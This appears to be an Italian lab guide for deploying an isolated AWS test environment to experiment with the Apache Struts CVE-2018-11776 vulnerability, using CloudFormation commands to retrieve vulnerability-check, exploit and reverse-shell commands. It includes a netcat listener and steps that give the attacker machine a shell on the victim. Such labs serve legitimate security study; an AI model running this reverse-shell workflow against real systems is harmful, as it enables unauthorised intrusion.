
Avvia un ambiente di test isolato per sperimentare con la vulnerabilità Apache Struts CVE-2018-11776.
Crea un ambiente di test isolato per sperimentare la vulnerabilità Apache Struts CVE-2018-11776.
Per avviare l'ambiente di test, esegui il seguente comando:
aws cloudformation create-stack \
--template-body file://cfn.yml \
--stack-name <STACK_NAME> \
--parameters \
ParameterKey=Ec2KeyName,ParameterValue=<KEY_NAME> \
ParameterKey=Linux2Ami,ParameterValue=<AMAZON_LINUX2_AMI_ID>
Recupera gli IP della vittima e dell'attaccante. Avvia sessioni SSH su entrambi:
# Victim public IP
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`VictimPublicIp`].OutputValue' --output text
# Attacker public IP
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`AttackerPublicIp`].OutputValue' --output text
Recupera il comando utilizzato per verificare se la vittima è vulnerabile. Esegui il comando nella sessione dell'attaccante:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`CheckVuln`].OutputValue' --output text
(Opzionale) Recupera il comando usato per vedere se l'exploit funziona. Esegui il comando nella sessione dell'attaccante:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`RunExploit`].OutputValue' --output text
Configura la macchina dell'attaccante per ascoltare i tunnel inversi:
nc -lvp 31337
Recupera il comando usato per costringere la vittima ad avviare un tunnel inverso verso l'attaccante:
aws cloudformation describe-stacks --stack-name=<STACK_NAME> \
--query 'Stacks[0].Outputs[?OutputKey==`RunReverseShell`].OutputValue' --output text
Apri una sessione SSH aggiuntiva alla macchina dell'attaccante. Quindi, esegui il comando recuperato nel passaggio precedente.
Torna alla sessione del tunnel inverso. Ora hai accesso CLI alla macchina della vittima.
Per distruggere l'ambiente di test, esegui il seguente comando:
aws cloudformation delete-stack --stack-name <STACK_NAME>
Questa demo è basata sul codice PoC di hook-s3c's CVE-2018-11776-Python-PoC.